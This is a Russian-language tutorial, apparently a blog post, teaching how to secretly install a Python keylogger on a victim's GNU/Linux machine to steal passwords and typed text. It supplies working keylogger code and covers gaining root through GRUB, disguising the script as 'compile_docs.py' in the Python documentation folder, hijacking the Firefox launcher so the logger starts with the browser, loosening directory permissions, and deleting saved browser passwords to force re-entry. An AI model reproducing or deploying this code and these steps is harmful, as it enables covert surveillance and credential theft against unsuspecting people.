Простой кейлоггер для GNU/Linux для кражи паролей и введенного текста

Простой способ украсть пароли - установить кейлоггер на компьютер жертвы. Я покажу, как это сделать в GNU/Linux с помощью языка программирования Python.

Первое, что нужно сделать, - получить права суперпользователя. Если компьютер находится под нашим управлением, мы уже знаем пароль. Если их нет, мы можем получить права суперпользователя через GRUB. Получив необходимые права, мы можем устанавливать кейлоггер.

Прежде всего, необходимо установить библиотеку pynput, выполнив...

sudo pip install pynput

Далее нам нужно написать кейлоггер. Вот код, который мы будем использовать:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging

log_dir = "/usr/share/doc/python3/"

logging.basicConfig(filename=(log_dir + "log"), \
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

Журнал ввода с клавиатуры хранится в папке log_dir. В данном случае я указал в качестве назначения папку документации GNU/Linux Python 3. Кейлоггер также можно хранить в том же каталоге, возможно, под именем compile_docs.py или чем-то подобным, чтобы не привлекать внимания. В идеале следует выбрать папку, в которую жертва не собирается заходить, чтобы она не смогла понять, что именно мы делаем.

Следующим шагом будет запуск программы каждый раз, когда компьюте включается или запускается какая-либо программа. Если, например, мы хотим запускать кейлоггер каждый раз, когда пользователь открывает Firefox, мы можем модифицировать команду запуска Firefox. Мы можем переименовать firefox1 в firefox.bin и создать следующий файл под названием firefox:

python3 /usr/share/doc/python3/compile_docs.py &
exec firefox.bin "$@"

Чтобы узнать, какой именно файл firefox выполняется при нажатии на его значок, перейдите в каталог /usr/share/applications, введите firefox.desktop (или firefox-esr.desktop) и найдите строку, начинающуюся с Exec.

Далее нам следует предоставить права на запись для пользователей, отличных от root, в каталог, где мы будем хранить журнал ввода:

sudo chmod o+w /usr/share/doc/python3

Теперь нужно дождаться, пока жертва воспользуется компьютером, чтобы ввести свои пароли или любую другую информацию, которую мы хотим получить. Журнал ввода будет храниться в файле /usr/share/doc/python3/log. Но будьте осторожны: этот файл может занимать очень много места, особенно, если его не удалять время от времени, поэтому лучше вообще удалить кейлоггер после того, как вы получите нужную вам информацию. Другой вариант - настроить кейлоггер на отправку информации по электронной почте вместо сохранения журнала в файл, что не потребует много места на компьютере жертвы, но этот способ требует использования электронной почты2.

Если пароли сохранены в браузере и жертве не нужно вводить их заново, мы можем удалить файл с паролями, чтобы жертва была вынуждена ввести их повторно. В общем, проявив изобретательность, можно получить много информации, особенно если применять этот метод против неопытных пользователей, которые не будут проявлять особых подозрений. А для более опытных пользователей, возможно, лучше скомпилировать программу compile_docs.py с помощью Nuitka, как я показываю в следующей статье.


  1. В Debian нам нужно изменить файл firefox-esr

  2. Преимущество отправки паролей по электронной почте заключается в том, что нам не нужно возвращаться на компьютер жертвы, чтобы открыть файл журнала, вместо этого мы периодически получаем нужную нам информацию по электронной почте. 

Комментарии